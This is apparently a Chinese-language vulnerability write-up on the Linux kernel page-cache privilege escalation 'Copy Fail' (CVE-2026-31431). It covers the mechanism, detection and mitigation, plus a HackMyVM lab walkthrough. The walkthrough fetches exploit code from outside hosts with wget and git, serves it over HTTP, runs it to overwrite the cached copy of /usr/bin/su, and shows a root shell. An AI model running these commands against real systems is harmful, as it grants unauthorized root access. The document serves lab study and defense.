CVE-2026-31431 Copy Fail Linux 内核提权
Copy Fail(CVE-2026-31431)是 Linux 内核本地提权漏洞。它利用 authencesn、AF_ALG 和 splice(2) 的组合,让非特权本地用户对目标文件的 page cache 进行受控 4 字节写入。由于写入发生在页面缓存中,磁盘文件本身不一定改变,但后续 execve()、read() 等路径可能读取到被污染的缓存内容。
本文只用于授权实验、靶场复现和防御验证。不要在生产系统或未授权主机上运行 PoC。该漏洞是本地提权漏洞,通常需要先获得目标上的普通用户执行权限。
快速结论
| 项目 | 内容 |
|---|---|
| CVE | CVE-2026-31431 |
| 名称 | Copy Fail |
| 类型 | Linux Kernel Local Privilege Escalation |
| 关键组件 | authencesn、AF_ALG、algif_aead、splice(2) |
| 利用前提 | 本地非特权用户可执行代码,可读取目标文件 |
| 典型目标 | /usr/bin/su、/etc/passwd 等可被利用的 page cache 目标 |
| 主要风险 | 普通用户提权到 root;容器 / 多租户场景可能扩大影响 |
| 修复方向 | 更新包含修复 commit 的发行版内核;临时禁用 algif_aead |
影响范围
官方披露页给出的判断是:如果内核构建时间处于 2017 年相关 in-place 优化引入之后、修复补丁合入之前,就可能处于影响范围。该漏洞不需要远程网络入口,但任何 Web RCE、弱口令 SSH、CI runner 代码执行、容器逃逸链条中的本地代码执行,都可能把它作为提权步骤。
高风险场景:
| 场景 | 风险 |
|---|---|
| 多用户 Linux 主机 | 任意普通用户可能获得 root |
| CI / 构建服务器 | 不可信任务代码可能提权到 runner 主机 |
| 容器 / Kubernetes 节点 | page cache 共享可能形成跨容器或节点级风险 |
| Web 服务被打点后 | Web 用户可把本地提权串进攻击链 |
| 单用户桌面 | 本地恶意程序可从普通用户升级为 root |
漏洞原理
Copy Fail 的核心不是传统文件写入,而是 页面缓存污染。
AF_ALG暴露 Linux 内核加密接口给用户空间。splice(2)可以把文件页面引用传递到管道和 socket,避免复制到用户空间。- AEAD 解密路径中的 in-place 优化让输入和输出 scatterlist 产生重叠。
authencesn在处理 ESN 字段时会在预期输出边界附近写入 4 字节。- 这 4 字节可落到目标文件的 page cache 上。
- 认证失败会让操作返回错误,但已写入 page cache 的 4 字节不会自动回滚。
简化理解:
目标文件磁盘内容 目标文件 page cache
┌────────────────┐ ┌────────────────┐
│ /usr/bin/su │ │ /usr/bin/su │
│ 原始二进制 │ splice │ 被污染的缓存 │
│ 权限位不变 │ ───────► │ 载荷片段写入 │
└────────────────┘ └────────────────┘
磁盘 hash 可能不变,但执行路径会读取 page cache。
这也是它危险的地方:普通文件完整性检测只看磁盘内容,可能看不到页面缓存中的临时污染。
利用路线
方案 A:覆写 /usr/bin/su 页面缓存
这是靶场中最直观的利用方式:选择 setuid-root 二进制 /usr/bin/su 作为目标,把页面缓存中的内容逐块替换成执行 setuid(0)、setgid(0)、execve("/bin/sh") 的载荷。
1. 普通用户可读 /usr/bin/su
2. Copy Fail 污染 su 的 page cache
3. 磁盘上的 su 权限位仍是 setuid-root
4. 执行 /usr/bin/su
5. 内核加载 page cache 中的载荷
6. 获得 root shell
方案 B:覆写 /etc/passwd 页面缓存
如果 setuid 目标不可读,也可以考虑污染 /etc/passwd 的 page cache,例如把当前用户的 UID 字段临时变成 0000。这种方式依赖认证流程如何读取 passwd / shadow 数据,实战时需要单独验证。
1. 定位当前用户在 /etc/passwd 中的 UID 字段
2. Copy Fail 把 page cache 中的 UID 改为 0000
3. 磁盘文件不变
4. 后续读取 passwd 的进程看到被污染的缓存
5. 可能获得 root 身份上下文
方案 C:Python ctypes 实现
官方 PoC 是 Python 方向,利用思路不变:仍然是 AF_ALG + splice(2) + page cache 污染。差异在于实现方式:
- Python 3.10+ 可能直接使用
os.splice()。 - 某些环境缺少
os.splice()时,可以用ctypes手动调用 syscall。 - CTF 靶机中如果 Python 环境不稳定,C 静态编译版本通常更可控。
附件中的 copyfail_cmd.py 是 Python ctypes 版本,适合靶机 Python 没有 os.splice() 的环境。它默认污染 /usr/bin/su 的 page cache,并把命令通过管道传给变异后的 su:
cd /tmp
wget -q https://www.beehack.com/files/vulnerabilities/linux/cve-2026-31431/copyfail_cmd.py -O copyfail_cmd.py
python3 copyfail_cmd.py 'id; whoami'
实验环境利用 Demo
以下命令以 HackMyVM GameShell5 的授权靶场环境为例,目标是 192.168.1.110,普通用户是 noob。生产系统不要直接照抄执行。
1. 确认内核与本地权限
uname -a
id
GameShell5 中关键环境:
Linux GameShell5 4.19.0-27-amd64
uid=1000(noob) gid=1000(noob) groups=1000(noob),4(adm)
2. 编译 C 版本 PoC
在攻击机或同架构编译环境中构建:
git clone https://github.com/tgies/copy-fail-c.git /tmp/copy-fail-c
cd /tmp/copy-fail-c
make exploit exploit-passwd
strip exploit exploit-passwd
3. 分发到靶机
攻击机启动 HTTP 服务:
cd /home/kali/wp/GameShell5/tools
python3 -m http.server 8080 --bind 0.0.0.0
靶机下载:
cd /tmp
wget -q http://192.168.1.113:8080/exploit -O exploit
chmod +x exploit
4. 执行 /usr/bin/su 页面缓存方案
./exploit &
sleep 6
echo "id; whoami; cat /root/root.txt" | /usr/bin/su
预期结果:
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(noob)
root
flag{root-723e74e2633361fb7aa5b6118cf95b60}
关键点:
./exploit &放到后台,避免 exploit 替换当前 shell 后阻断后续命令。- 变异后的
su不解析-c,所以用管道把命令喂给 root shell。 sleep 6是等待页面缓存变异完成,具体时间取决于环境。
5. 备用变体
exploit-passwd 变体用于污染 /etc/passwd 页面缓存:
wget http://192.168.1.113:8080/exploit-passwd -O /tmp/exploit-passwd
chmod +x /tmp/exploit-passwd
./exploit-passwd
该变体不一定适合所有环境。优先把它当作实验室验证和备用路线,而不是默认生产检查手段。
检测与排查
Copy Fail 的排查难点在于:磁盘文件可能不变,页面缓存被污染后才影响执行路径。因此不要只依赖 md5sum /usr/bin/su 这种磁盘 hash 检查。
可关注的方向:
| 方向 | 说明 |
|---|---|
| 内核版本 | 优先核对发行版安全公告和当前 kernel package |
| 模块使用 | 关注 algif_aead、AF_ALG 是否可用 |
| 行为审计 | 非预期用户创建 AF_ALG socket、频繁调用 splice(2) |
| SUID 执行异常 | 普通用户执行 su 后直接出现 root shell |
| 容器节点 | 多租户节点尤其要关注内核补丁状态 |
实验环境中,如果需要恢复 page cache 状态,可以重启,或在确认影响范围后清理缓存。生产系统应优先走补丁和应急响应流程。
缓解与修复
优先级最高的是更新发行版内核,确保包含上游修复。官方披露页提到的修复方向是回退 2017 年 algif_aead 的 in-place 优化,使 page cache 页面不再进入可写 destination scatterlist。
无法立即更新内核时,可以评估临时禁用 algif_aead:
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
注意:
- 先评估是否有业务显式依赖 AF_ALG AEAD。
- 大多数常见 TLS、SSH、LUKS、OpenSSL 默认路径不直接依赖 AF_ALG AEAD,但仍应以本机实际配置为准。
- 临时缓解不能替代内核更新。
在靶场中的应用
GameShell5 中,Copy Fail 是 root 提权阶段的关键:
LessPass 参数泄露 -> SSH noob -> LinPEAS 命中 Copy Fail -> C 静态 exploit -> root shell
具体通关过程见:HackMyVM GameShell5 通关记录。
Rsscross 中,内核 4.19.0-27-amd64 也满足 Copy Fail 影响条件,但靶机主线更贴近 groff -> smassh sudo 逻辑链,因此 Copy Fail 作为备用路线记录。对应通关记录见:HackMyVM Rsscross。